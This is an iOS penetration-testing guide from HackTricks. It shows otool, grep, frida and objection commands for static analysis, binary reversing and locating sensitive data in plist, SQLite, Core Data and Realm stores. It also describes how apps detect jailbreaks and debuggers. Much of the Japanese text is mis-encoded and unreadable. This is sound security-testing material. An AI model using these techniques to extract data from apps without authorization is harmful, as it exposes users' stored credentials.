iOS Pentesting
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
iOS åºæ¬
ãã¹ãç°å¢
ãã®ããŒãžã§ã¯ iOS simulatorãemulators ããã³ jailbreaking ã«é¢ããæ å ±ã確èªã§ããŸãã
åæè§£æ
åºæ¬ç㪠iOS ãã¹ãæäœ
ãã¹ãã®éãããã€ãã®æäœãæšå¥šãããŸãïŒããã€ã¹ãžã®æ¥ç¶ããã¡ã€ã«ã®èªã¿æžãïŒã¢ããããŒãïŒããŠã³ããŒããããŒã«ã®äœ¿çšãªã©ïŒããã®ããããããã®æäœã®ãããããå®è¡ããæ¹æ³ãåãããªãå Žåã¯ããŸã以äžã®ããŒãžããèªã¿ãã ããïŒ
Tip
以äžã®æé ã§ã¯ ã¢ããªãããã€ã¹ã«ã€ã³ã¹ããŒã«ãããŠãããæ¢ã«ã¢ããªã® IPA file ãååŸããŠããå¿ èŠããããŸãã
ãããè¡ãæ¹æ³ã«ã€ããŠã¯ãBasic iOS Testing Operations ããŒãžãåç §ããŠãã ããã
åºæ¬çãªéçè§£æ
iOS - IPA ãã¡ã€ã«åãã®è峿·±ããã³ã³ãã€ã©:
IPA file ã«å¯ŸããŠèªåã®éçè§£æãè¡ãã«ã¯ãããŒã« MobSF ã®äœ¿çšãæšå¥šããŸãã
ãã€ããªã«ååšããä¿è·æ©æ§ã®èå¥:
- PIE (Position Independent Executable): æå¹ãªå Žåãã¢ããªã±ãŒã·ã§ã³ã¯èµ·åããšã«ã©ã³ãã ãªã¡ã¢ãªã¢ãã¬ã¹ã«ããŒããããåæã¡ã¢ãªã¢ãã¬ã¹ã®äºæž¬ãå°é£ã«ããŸãã
otool -hv <app-binary> | grep PIE # It should include the PIE flag
- Stack Canaries: ã¹ã¿ãã¯ã®æŽåæ§ãæ€èšŒããããã颿°åŒã³åºãåã«ãã«ããªã¢ãå€ãã¹ã¿ãã¯ã«çœ®ããã颿°çµäºæã«åæ€èšŒãããŸãã
otool -I -v <app-binary> | grep stack_chk # It should include the symbols: stack_chk_guard and stack_chk_fail
- ARC (Automatic Reference Counting): äžè¬çãªã¡ã¢ãªç Žæã®è匱æ§ãé²ãããã®ä»çµã¿
otool -I -v <app-binary> | grep objc_release # It should include the _objc_release symbol
- Encrypted Binary: ãã€ããªã¯æå·åãããŠããã¹ãã§ã
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # The cryptid should be 1
æ©å¯ïŒè匱ãªé¢æ°ã®ç¹å®
- Weak Hashing Algorithms
# On the iOS device
otool -Iv <app> | grep -w "_CC_MD5"
otool -Iv <app> | grep -w "_CC_SHA1"
# On linux
grep -iER "_CC_MD5"
grep -iER "_CC_SHA1"
- Insecure Random Functions
# On the iOS device
otool -Iv <app> | grep -w "_random"
otool -Iv <app> | grep -w "_srand"
otool -Iv <app> | grep -w "_rand"
# On linux
grep -iER "_random"
grep -iER "_srand"
grep -iER "_rand"
- Insecure âMallocâ Function
# On the iOS device
otool -Iv <app> | grep -w "_malloc"
# On linux
grep -iER "_malloc"
- Insecure and Vulnerable Functions
# On the iOS device
otool -Iv <app> | grep -w "_gets"
otool -Iv <app> | grep -w "_memcpy"
otool -Iv <app> | grep -w "_strncpy"
otool -Iv <app> | grep -w "_strlen"
otool -Iv <app> | grep -w "_vsnprintf"
otool -Iv <app> | grep -w "_sscanf"
otool -Iv <app> | grep -w "_strtok"
otool -Iv <app> | grep -w "_alloca"
otool -Iv <app> | grep -w "_sprintf"
otool -Iv <app> | grep -w "_printf"
otool -Iv <app> | grep -w "_vsprintf"
# On linux
grep -R "_gets"
grep -iER "_memcpy"
grep -iER "_strncpy"
grep -iER "_strlen"
grep -iER "_vsnprintf"
grep -iER "_sscanf"
grep -iER "_strtok"
grep -iER "_alloca"
grep -iER "_sprintf"
grep -iER "_printf"
grep -iER "_vsprintf"
Common Jailbreak æ€åºææ³
- File System Checks: /Applications/Cydia.app ã /Library/MobileSubstrate/MobileSubstrate.dylib ã®ãããªäžè¬ç㪠jailbreak ãã¡ã€ã«ããã£ã¬ã¯ããªã®ååšã確èªããã
- Sandbox Violations: éè±çããã€ã¹ã§ã¯ãããã¯ãããã¯ãã®ãã¡ã€ã«ã·ã¹ãã ã®å¶éé åãžã®ã¢ã¯ã»ã¹ã詊ã¿ãã
- API Checks: fork() ã®ãããªåããã»ã¹ãäœæããåŒã³åºãã system() ã®åŒã³åºããå¯èœãã確èªãã/bin/sh ã®ååšã確èªããã
- Process Checks: CydiaãSubstrateãssh ãšãã£ãæ¢ç¥ã® jailbreak é¢é£ããã»ã¹ã®ååšãç£èŠããã
- Kernel Exploits: jailbreak ã«äžè¬çã«äœ¿ãããã«ãŒãã«ãšã¯ã¹ããã€ãã®æç¡ã確èªããã
- Environment Variables: DYLD_INSERT_LIBRARIES ã®ãã㪠jailbreak ã®å åã瀺ãç°å¢å€æ°ã調ã¹ãã
- Libraries Check: ã¢ããªããã»ã¹ã«ããŒããããŠããã©ã€ãã©ãªã確èªããã
- Check schemes: canOpenURL(URL(string: âcydia://â)) ã®ãããªã¹ããŒã ã確èªããã
Common Anti-Debugging æ€åºæ¹æ³
- Check for Debugger Presence: sysctl ãªã©ã䜿ã£ãŠãããã¬ãã¢ã¿ãããããŠãããã確èªããã
- Anti-Debugging APIs: ptrace ã SIGSTOP ã®ãã㪠anti-debugging API åŒã³åºãïŒäŸ: ptrace(PT_DENY_ATTACH, 0, 0, 0)ïŒãæ¢ãã
- Timing Checks: ç¹å®ã®æäœã«ãããæéãæž¬å®ãããããã°ã«ããäžæŽåããªãã確èªããã
- Memory Checks: ãããã¬ã®çè·¡ã倿Žããªããã¡ã¢ãªãæ€æ»ããã
- Environment Variables: ãããã°ã»ãã·ã§ã³ã瀺ãç°å¢å€æ°ã確èªããã
- Mach Ports: ãããã¬ã䜿çšãã mach exception ports ã䜿ãããŠããããæ€åºããã
åºæ¬çãªåçè§£æ
MobSF ãè¡ãåçè§£æã確èªããŠãã ãããããŸããŸãªãã¥ãŒãæäœããŠé£æºããå¿ èŠããããŸãããããã€ãã®ã¯ã©ã¹ãhookingãããä»ã®åŠçãè¡ããå®äºãããšã¬ããŒããäœæããŸãã
ã€ã³ã¹ããŒã«æžã¿ã¢ããªã®äžèŠ§è¡šç€º
ã€ã³ã¹ããŒã«æžã¿ã¢ããªã® bundle identifier ãç¹å®ããã«ã¯ãã³ãã³ã frida-ps -Uai ã䜿çšããŠãã ãã:
$ frida-ps -Uai
PID Name Identifier
---- ------------------- -----------------------------------------
6847 Calendar com.apple.mobilecal
6815 Mail com.apple.mobilemail
- App Store com.apple.AppStore
- Apple Store com.apple.store.Jolly
- Calculator com.apple.calculator
- Camera com.apple.camera
- iGoat-Swift OWASP.iGoat-Swift
åºæ¬çãªåæ & Hooking
ã¢ããªã±ãŒã·ã§ã³ã®ã³ã³ããŒãã³ããåæããæ¹æ³ãšãobjectionã䜿ã£ãŠhook methods and classesãç°¡åã«è¡ãæ¹æ³ãåŠã¶:
IPAã®æ§é
IPA file ã®æ§é ã¯æ¬è³ªçã«zipped package ã®æ§é ã§ããæ¡åŒµåã .zip ã«å€æŽãããšãå
容ãåãåºãããã«decompressed ã§ããŸãããã®æ§é ã®äžã§ã¯ãBundle ã¯ã€ã³ã¹ããŒã«å¯èœãªå®å
šããã±ãŒãžåãããã¢ããªã±ãŒã·ã§ã³ã衚ããŸããå
éšã«ã¯ã¢ããªã±ãŒã·ã§ã³ã®ãªãœãŒã¹ãæ ŒçŽãã <NAME>.app ãšãããã£ã¬ã¯ããªããããŸãã
Info.plist: ãã®ãã¡ã€ã«ã¯ã¢ããªã±ãŒã·ã§ã³åºæã®èšå®æ å ±ãä¿æããŸãã_CodeSignature/: ãã®ãã£ã¬ã¯ããªã«ã¯ããã³ãã«å ã®ãã¹ãŠã®ãã¡ã€ã«ã®æŽåæ§ãä¿èšŒãã眲åãå«ãplistãã¡ã€ã«ãå«ãŸããŸããAssets.car: ã¢ã€ã³ã³ãªã©ã®ã¢ã»ãããã¡ã€ã«ãæ ŒçŽããå§çž®ã¢ãŒã«ã€ãã§ããFrameworks/: ãã®ãã©ã«ãã«ã¯ã¢ããªã±ãŒã·ã§ã³ã®ãã€ãã£ãã©ã€ãã©ãªãæ ŒçŽããã.dylibã.frameworkãã¡ã€ã«ã®åœ¢ãåãããšããããŸããPlugIns/: ããã¯ã¢ããªã±ãŒã·ã§ã³ãžã®æ¡åŒµïŒ.appexãã¡ã€ã«ïŒãå«ãå ŽåããããŸãããåžžã«ååšãããšã¯éããŸããã *Core Data: ãªãã©ã€ã³å©çšã®ããã«ã¢ããªã®æ°žç¶ããŒã¿ãä¿åããããäžæããŒã¿ããã£ãã·ã¥ããããåäžããã€ã¹äžã§ã® undo æ©èœã远å ããããã«äœ¿çšãããŸããåäžã® iCloud ã¢ã«ãŠã³ãå ã§è€æ°ããã€ã¹éã®ããŒã¿ãåæããã«ã¯ãCore Data ã¯èªåçã«ã¹ããŒãã CloudKit ã³ã³ããã«ãã©ãŒããŸããPkgInfo:PkgInfoãã¡ã€ã«ã¯ãã¢ããªã±ãŒã·ã§ã³ããã³ãã«ã® type ããã³ creator ã³ãŒããæå®ããå¥ã®æ¹æ³ã§ãã- en.lproj, fr.proj, Base.lproj: ãããã¯ç¹å®ã®èšèªçšã®ãªãœãŒã¹ãå«ãèšèªããã¯ã§ã該åœèšèªããµããŒããããŠããªãå Žåã®ããã©ã«ããªãœãŒã¹ãå«ã¿ãŸãã
- Security:
_CodeSignature/ãã£ã¬ã¯ããªã¯ãããžã¿ã«çœ²åãéããŠãã³ãã«å ã®ãã¹ãŠã®ãã¡ã€ã«ã®æŽåæ§ãæ€èšŒããããšã§ãã¢ããªã®ã»ãã¥ãªãã£ã«ãããŠéèŠãªåœ¹å²ãæãããŸãã - Asset Management:
Assets.carãã¡ã€ã«ã¯ã°ã©ãã£ã«ã«ã¢ã»ãããå¹ççã«ç®¡çããããã«å§çž®ã䜿çšããŠãããã¢ããªã®ããã©ãŒãã³ã¹æé©åããµã€ãºåæžã«éèŠã§ãã - Frameworks and PlugIns: ãããã®ãã£ã¬ã¯ããªã¯ iOS ã¢ããªã±ãŒã·ã§ã³ã®ã¢ãžã¥ãŒã«æ§ã瀺ããŠãããåå©çšå¯èœãªã³ãŒãã©ã€ãã©ãªïŒ
Frameworks/ïŒãå«ããããã¢ããªæ©èœãæ¡åŒµãããïŒPlugIns/ïŒã§ããŸãã - Localization: æ§é ã¯è€æ°èšèªããµããŒãããŠãããç¹å®ã®èšèªããã¯ãå«ããããšã§ã°ããŒãã«ãªã¢ããªå±éã容æã«ããŸãã
Info.plist
Info.plist 㯠iOS ã¢ããªã±ãŒã·ã§ã³ã®åºç€ãæããã®ã§ãkey-value ãã¢ã®åœ¢ã§äž»èŠãªæ§æããŒã¿ãã«ãã»ã«åããŸãããã®ãã¡ã€ã«ã¯ã¢ããªã±ãŒã·ã§ã³ã ãã§ãªãã忢±ãããã¢ããªæ¡åŒµããã¬ãŒã ã¯ãŒã¯ã«ãå¿ é ã§ããXML ãŸãã¯ãã€ããªåœ¢åŒã§æ§æãããã¢ããªã®æš©éããã»ãã¥ãªãã£æ§æã«è³ããŸã§éèŠãªæ å ±ãä¿æããŸããå©çšå¯èœãªããŒã®è©³çްã«ã€ããŠã¯ Apple Developer Documentation ãåç §ããŠãã ããã
ãã®ãã¡ã€ã«ãããæ±ãããã圢åŒã§æäœãããå ŽåãXML ãžã®å€æã¯ macOS äžã® plutilïŒããŒãžã§ã³ 10.2 以éã§ãã€ãã£ãã«å©çšå¯èœïŒãŸã㯠Linux äžã® plistutil ã䜿ã£ãŠç°¡åã«è¡ããŸãã倿ã³ãã³ãã¯æ¬¡ã®éãã§ãïŒ
- macOSåã:
$ plutil -convert xml1 Info.plist
- Linuxåã:
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
Info.plist ãã¡ã€ã«ãæããæ°å€ãã®æ
å ±ã®äžã§ã泚ç®ãã¹ããšã³ããªã«ã¯ãã¢ããªã®æš©éæåå (UsageDescription)ãã«ã¹ã¿ã URL ã¹ããŒã (CFBundleURLTypes)ãããã³ App Transport Security (NSAppTransportSecurity) ã®èšå®ãå«ãŸããŸãããããã®ãšã³ããªã¯ãUTExportedTypeDeclarations / UTImportedTypeDeclarations ã®ãããªãšã¯ã¹ããŒã/ã€ã³ããŒããããã«ã¹ã¿ã ææžã¿ã€ããšãšãã«ããã¡ã€ã«ã調ã¹ãããåçŽãª grep ã³ãã³ãã䜿ãããšã§å®¹æã«èŠã€ããããšãã§ããŸã:
$ grep -i <keyword> Info.plist
ããŒã¿ãã¹
iOSç°å¢ã§ã¯ããã£ã¬ã¯ããªã¯system applicationsãšuser-installed applicationsåãã«æç¢ºã«å²ãåœãŠãããŠããŸããSystem applicationsã¯/Applicationsãã£ã¬ã¯ããªã«é
眮ãããuser-installed appsã¯/var/mobile/containers/Data/Application/ã®äžã«çœ®ãããŸãããããã®ã¢ããªã«ã¯128-bit UUIDãšããäžæã®èå¥åãå²ãåœãŠãããŠããããã£ã¬ã¯ããªåãã©ã³ãã ãªããæåã§ã¢ããªã®ãã©ã«ããç¹å®ããã®ã¯å°é£ã§ãã
Warning
iOSã§ã¯ã¢ããªã¯ãµã³ãããã¯ã¹åãããŠãããããåã¢ããªã¯**
$HOME/Library/Containerså ã«ãã¢ããªã®CFBundleIdentifier**ããã©ã«ãåãšãããã©ã«ããæã¡ãŸãããã ããäž¡æ¹ã®ãã©ã«ãïŒdata & container foldersïŒã«ã¯
.com.apple.mobile_container_manager.metadata.plistãšãããã¡ã€ã«ããããããŒMCMetadataIdentifierã§äž¡è ãçŽä»ããããŠããŸãã
ãŠãŒã¶ãã€ã³ã¹ããŒã«ããã¢ããªã®ã€ã³ã¹ããŒã«ãã£ã¬ã¯ããªãèŠã€ãããããããããobjection tool㯠env ãšãã䟿å©ãªã³ãã³ããæäŸããŠããŸãããã®ã³ãã³ãã¯å¯Ÿè±¡ã¢ããªã®è©³çްãªãã£ã¬ã¯ããªæ
å ±ã衚瀺ããŸãã以äžã¯ãã®ã³ãã³ãã®äœ¿çšäŸã§ãïŒ
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env
Name Path
----------------- -------------------------------------------------------------------------------------------
BundlePath /var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app
CachesDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library/Caches
DocumentDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents
LibraryDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library
ãŸãã¯ã/private/var/containers å
ã§ find ã³ãã³ãã䜿çšããŠã¢ããªåãæ€çŽ¢ã§ããŸã:
find /private/var/containers -name "Progname*"
ps ã lsof ãšãã£ãã³ãã³ãã¯ãããããã¢ããªã®ããã»ã¹ãç¹å®ããéããŠãããã¡ã€ã«ãäžèŠ§è¡šç€ºããããã«å©çšã§ããã¢ããªã±ãŒã·ã§ã³ã®ã¢ã¯ãã£ããªãã£ã¬ã¯ããªãã¹ã®ææ¡ã«åœ¹ç«ã¡ãŸã:
ps -ef | grep -i <app-name>
lsof -p <pid> | grep -i "/containers" | head -n 1
ãã³ãã«ãã£ã¬ã¯ããª:
- AppName.app
- ããã¯ä»¥åIPAå ã§èŠãApplication Bundleã§ãã¢ããªã®éèŠãªããŒã¿ãéçã³ã³ãã³ããããã³ã¢ããªã®ã³ã³ãã€ã«æžã¿ãã€ããªãå«ã¿ãŸãã
- ãã®ãã£ã¬ã¯ããªã¯ãŠãŒã¶ãŒããèŠããŸããããŠãŒã¶ãŒã¯æžã蟌ã¿ã§ããŸããã
- ãã®ãã£ã¬ã¯ããªã®å 容ã¯ããã¯ã¢ãããããŸããã
- ãã®ãã©ã«ãã®å 容ã¯ã³ãŒã眲åãæ€èšŒããããã«äœ¿çšãããŸãã
ããŒã¿ãã£ã¬ã¯ããª:
- Documents/
- ãŠãŒã¶ãŒãçæãããã¹ãŠã®ããŒã¿ãå«ã¿ãŸãããããã®ããŒã¿ã®äœæã¯ã¢ããªã®ãšã³ããŠãŒã¶ãŒã«ãã£ãŠéå§ãããŸãã
- ãŠãŒã¶ãŒããèŠãããŠãŒã¶ãŒã¯æžã蟌ã¿å¯èœã§ãã
- ãã®ãã£ã¬ã¯ããªã®å 容ã¯ããã¯ã¢ãããããŸãã
- ã¢ããªã¯
NSURLIsExcludedFromBackupKeyãèšå®ããŠãã¹ãããã¯ã¢ãã察象å€ã«ã§ããŸãã - Library/
- ãŠãŒã¶ãŒåºæã§ãªããã¹ãŠã®ãã¡ã€ã«ãããšãã°ãã£ãã·ã¥ãèšå®ãã¯ãããŒãããã³ property list (plist) ã®æ§æãã¡ã€ã«ãå«ã¿ãŸãã
- iOSã¢ããªã¯éåžž
Application Supportããã³Cachesãµããã£ã¬ã¯ããªã䜿çšããŸãããã¢ããªã¯ã«ã¹ã¿ã ã®ãµããã£ã¬ã¯ããªãäœæã§ããŸãã - Library/Caches/
- åæ°žç¶çãªãã£ãã·ã¥ãã¡ã€ã«ãå«ã¿ãŸãã
- ãŠãŒã¶ãŒããã¯èŠããããŠãŒã¶ãŒã¯æžã蟌ã¿ã§ããŸããã
- ãã®ãã£ã¬ã¯ããªã®å 容ã¯ããã¯ã¢ãããããŸããã
- ã¢ããªãå®è¡ãããŠãããã¹ãã¬ãŒãžãäžè¶³ããŠããå ŽåãOSã¯ãã®ãã£ã¬ã¯ããªã®ãã¡ã€ã«ãèªåçã«åé€ããããšããããŸãã
- Library/Application Support/
- ã¢ããªã®å®è¡ã«å¿ èŠãªæ°žç¶çãªãã¡ã€ã«ãå«ã¿ãŸãã
- ãŠãŒã¶ãŒããã¯èŠããªãããŠãŒã¶ãŒã¯æžã蟌ã¿ã§ããŸããã
- ãã®ãã£ã¬ã¯ããªã®å 容ã¯ãã㯠ã¢ãããããŸãã
- ã¢ããªã¯
NSURLIsExcludedFromBackupKeyãèšå®ããŠãã¹ãããã¯ã¢ãã察象å€ã«ã§ããŸãã - Library/Preferences/
- ã¢ããªãåèµ·åãããåŸã§ãæç¶ããããããã£ãä¿åããããã«äœ¿çšãããŸãã
- æ å ±ã¯æå·åããããã¢ããªã±ãŒã·ã§ã³ãµã³ãããã¯ã¹å ã® [BUNDLE_ID].plist ãšããplistãã¡ã€ã«ã«ä¿åãããŸãã
NSUserDefaultsã䜿ã£ãŠä¿åããããã¹ãŠã®ããŒ/ããªã¥ãŒã®ãã¢ã¯ãã®ãã¡ã€ã«ã§ç¢ºèªã§ããŸãã- tmp/
- ã¢ããªèµ·åéã§ä¿æããå¿ èŠã®ãªãäžæãã¡ã€ã«ãæžã蟌ãããã«ãã®ãã£ã¬ã¯ããªã䜿çšããŸãã
- éæ°žç¶çãªãã£ãã·ã¥ãã¡ã€ã«ãå«ã¿ãŸãã
- ãŠãŒã¶ãŒããã¯èŠããªãã
- ãã®ãã£ã¬ã¯ããªã®å 容ã¯ããã¯ã¢ãããããŸããã
- ã¢ããªãå®è¡ãããŠãããã¹ãã¬ãŒãžãäžè¶³ããŠããå ŽåãOSã¯ãã®ãã£ã¬ã¯ããªã®ãã¡ã€ã«ãèªåçã«åé€ããããšããããŸãã
iGoat-Swift ã® Application Bundle (.app) ãã£ã¬ã¯ããªããBundle ãã£ã¬ã¯ããªå
ïŒ/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.appïŒã§è©³ããèŠãŠã¿ãŸããã:
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
NSFileType Perms NSFileProtection ... Name
------------ ------- ------------------ ... --------------------------------------
Regular 420 None ... rutger.html
Regular 420 None ... mansi.html
Regular 420 None ... splash.html
Regular 420 None ... about.html
Regular 420 None ... LICENSE.txt
Regular 420 None ... Sentinel.txt
Regular 420 None ... README.txt
Binary Reversing
Inside the <application-name>.app folder you will find a binary file called <application-name>. This is the file that will be executed. You can perform a basic inspection of the binary with the tool otool:
otool -Vh DVIA-v2 #Check some compilation attributes
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
MH_MAGIC_64 ARM64 ALL 0x00 EXECUTE 65 7112 NOUNDEFS DYLDLINK TWOLEVEL WEAK_DEFINES BINDS_TO_WEAK PIE
otool -L DVIA-v2 #Get third party libraries
DVIA-v2:
/usr/lib/libc++.1.dylib (compatibility version 1.0.0, current version 400.9.1)
/usr/lib/libsqlite3.dylib (compatibility version 9.0.0, current version 274.6.0)
/usr/lib/libz.1.dylib (compatibility version 1.0.0, current version 1.2.11)
@rpath/Bolts.framework/Bolts (compatibility version 1.0.0, current version 1.0.0)
[...]
ã¢ããªãæå·åãããŠããã確èªãã
次ã®ã³ãã³ãã®åºåãããã確èªãã:
otool -l <app-binary> | grep -A 4 LC_ENCRYPTION_INFO
Disassembling the binary
Disassemble the text section:
otool -tV DVIA-v2
DVIA-v2:
(__TEXT,__text) section
+[DDLog initialize]:
0000000100004ab8 sub sp, sp, #0x60
0000000100004abc stp x29, x30, [sp, #0x50] ; Latency: 6
0000000100004ac0 add x29, sp, #0x50
0000000100004ac4 sub x8, x29, #0x10
0000000100004ac8 mov x9, #0x0
0000000100004acc adrp x10, 1098 ; 0x10044e000
0000000100004ad0 add x10, x10, #0x268
ãµã³ãã«ã¢ããªã±ãŒã·ã§ã³ã®Objective-C segmentãåºåããã«ã¯ã次ã䜿çšããŸã:
otool -oV DVIA-v2
DVIA-v2:
Contents of (__DATA,__objc_classlist) section
00000001003dd5b8 0x1004423d0 _OBJC_CLASS_$_DDLog
isa 0x1004423a8 _OBJC_METACLASS_$_DDLog
superclass 0x0 _OBJC_CLASS_$_NSObject
cache 0x0 __objc_empty_cache
vtable 0x0
data 0x1003de748
flags 0x80
instanceStart 8
ããã³ã³ãã¯ã㪠Objective-C ã³ãŒããåŸãã«ã¯ãclass-dump ã䜿çšã§ããŸã:
class-dump some-app
//
// Generated by class-dump 3.5 (64 bit).
//
// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard.
//
#pragma mark Named Structures
struct CGPoint {
double _field1;
double _field2;
};
struct CGRect {
struct CGPoint _field1;
struct CGSize _field2;
};
struct CGSize {
double _field1;
double _field2;
};
ãããããã€ããªãéã¢ã»ã³ãã«ããæè¯ã®ãªãã·ã§ã³ã¯: Hopper ãš IDA ã§ãã
Data Storage
To learn about how iOS stores data in the device read this page:
Warning
The following places to store information should be checked right after installing the application, after checking all the functionalities of the application and even after login out from one user and login into a different one.
The goal is to find unprotected sensitive information of the application (passwords, tokens), of the current user and of previously logged users.
Plist
plist files are structured XML files that contains key-value pairs. Itâs a way to store persistent data, so sometimes you may find sensitive information in these files. Itâs recommended to check these files after installing the app and after using intensively it to see if new data is written.
The most common way to persist data in plist files is through the usage of NSUserDefaults. This plist file is saved inside the app sandbox in Library/Preferences/<appBundleID>.plist
The NSUserDefaults class provides a programmatic interface for interacting with the default system. The default system allows an application to customize its behaviour according to user preferences. Data saved by NSUserDefaults can be viewed in the application bundle. This class stores data in a plist file, but itâs meant to be used with small amounts of data.
This data cannot be longer accessed directly via a trusted computer, but can be accessed performing a backup.
You can dump the information saved using NSUserDefaults using objectionâs ios nsuserdefaults get
To find all the plist of used by the application you can access to /private/var/mobile/Containers/Data/Application/{APPID} and run:
find ./ -name "*.plist"
ãã¡ã€ã«ã XML or binary (bplist) ãã©ãŒãããããXMLã«å€æããã«ã¯ãOSã«å¿ããŠããã€ãã®æ¹æ³ããããŸã:
macOSãŠãŒã¶ãŒåã: plutil ã³ãã³ããå©çšããŸãããã㯠macOS (10.2+) ã«æšæºã§æèŒãããŠããããã®ç®çã®ããã®ããŒã«ã§ã:
$ plutil -convert xml1 Info.plist
LinuxãŠãŒã¶ãŒåã: ãŸã libplist-utils ãã€ã³ã¹ããŒã«ããplistutil ã䜿ã£ãŠãã¡ã€ã«ã倿ããŠãã ãã:
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
Objection ã»ãã·ã§ã³å : ã¢ãã€ã«ã¢ããªã±ãŒã·ã§ã³ãè§£æããéãç¹å®ã®ã³ãã³ãã§ plist ãã¡ã€ã«ãçŽæ¥å€æã§ããŸã:
ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>/Library/Preferences/com.some.package.app.plist
Core Data
Core Data ã¯ã¢ããªã±ãŒã·ã§ã³å
ã®ãªããžã§ã¯ãã®ã¢ãã«å±€ã管çããããã®ãã¬ãŒã ã¯ãŒã¯ã§ãã Core Data can use SQLite as its persistent store, ãããããã¬ãŒã ã¯ãŒã¯èªäœã¯ããŒã¿ããŒã¹ã§ã¯ãããŸããã
CoreDataã¯ããã©ã«ãã§ããŒã¿ãæå·åããŸããããããã远å ã®æå·åã¬ã€ã€ãŒãCoreDataã«è¿œå ããããšãã§ããŸãã詳现ã¯GitHub Repoãåç
§ããŠãã ããã
ã¢ããªã±ãŒã·ã§ã³ã®SQLite Core Dataæ
å ±ã¯ããã¹ /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support ã«ãããŸãã
SQLiteãéããŠæ©å¯æ å ±ã«ã¢ã¯ã»ã¹ã§ããå Žåããã㯠miss-configuration ãçºèŠããããšã«ãªããŸãã
-(void)storeDetails {
AppDelegate * appDelegate = (AppDelegate *)(UIApplication.sharedApplication.delegate);
NSManagedObjectContext *context =[appDelegate managedObjectContext];
User *user = [self fetchUser];
if (user) {
return;
}
user = [NSEntityDescription insertNewObjectForEntityForName:@"User"
inManagedObjectContext:context];
user.email = CoreDataEmail;
user.password = CoreDataPassword;
NSError *error;
if (![context save:&error]) {
NSLog(@"Error in saving data: %@", [error localizedDescription]);
}else{
NSLog(@"data stored in core data");
}
}
YapDatabase
YapDatabase 㯠SQLite ã®äžã«æ§ç¯ãããããŒ/ããªã¥ãŒã»ã¹ãã¢ã§ã.
Yap ããŒã¿ããŒã¹ã¯ sqlite ããŒã¿ããŒã¹ã§ãããããåã®ã»ã¯ã·ã§ã³ã§ç€ºããã³ãã³ãã䜿ã£ãŠããããèŠã€ããããšãã§ããŸãã
Other SQLite Databases
ã¢ããªã±ãŒã·ã§ã³ãç¬èªã® sqlite ããŒã¿ããŒã¹ãäœæããããšã¯äžè¬çã§ãããããã«ä¿å æ©å¯ ããŒã¿ãæ ŒçŽããæå·åããã«æŸçœ®ããŠããå ŽåããããŸãããããã£ãŠãã¢ããªã±ãŒã·ã§ã³ã®ãã£ã¬ã¯ããªå
ã®ãã¹ãŠã®ããŒã¿ããŒã¹ã確èªãã䟡å€ããããŸããããŒã¿ãä¿åãããŠããã¢ããªã±ãŒã·ã§ã³ãã£ã¬ã¯ããªïŒ/private/var/mobile/Containers/Data/Application/{APPID}ïŒã«ç§»åããŠãã ããã
find ./ -name "*.sqlite" -or -name "*.db"
Firebase Real-Time Databases
éçºè 㯠Firebase Real-Time Databases ãéããŠãããŒã¿ãä¿åã»åæããããšãã§ããNoSQL ã¯ã©ãŠããã¹ãåããŒã¿ããŒã¹ã«ä¿åãããŸããJSON圢åŒã§ä¿åãããæ¥ç¶ããããã¹ãŠã®ã¯ã©ã€ã¢ã³ããžãªã¢ã«ã¿ã€ã ã§åæãããŸãã
You can find how to check for misconfigured Firebase databases here:
Realm databases
Realm Objective-C and Realm Swift ã¯ãApple ãæäŸããªã匷åãªããŒã¿ä¿åã®ä»£æ¿ææ®µãæäŸããŸããããã©ã«ãã§ã¯ ããŒã¿ãæå·åããã«ä¿åããŸã ããç¹å®ã®èšå®ã«ããæå·åãå¯èœã§ãã
The databases are located at: /private/var/mobile/Containers/Data/Application/{APPID}. To explore these files, one can utilize commands like:
iPhone:/private/var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Documents root# ls
default.realm default.realm.lock default.realm.management/ default.realm.note|
$ find ./ -name "*.realm*"
ãããã®ããŒã¿ããŒã¹ãã¡ã€ã«ãé²èЧããã«ã¯ãRealm Studio ããŒã«ã®äœ¿çšãæšå¥šããŸãã
RealmããŒã¿ããŒã¹å ã§æå·åãå®è£ ããã«ã¯ã以äžã®ã³ãŒãã¹ããããã䜿çšã§ããŸã:
// Open the encrypted Realm file where getKey() is a method to obtain a key from the Keychain or a server
let config = Realm.Configuration(encryptionKey: getKey())
do {
let realm = try Realm(configuration: config)
// Use the Realm as normal
} catch let error as NSError {
// If the encryption key is wrong, `error` will say that it's an invalid database
fatalError("Error opening realm: \(error)")
}
Couchbase Lite ããŒã¿ããŒã¹
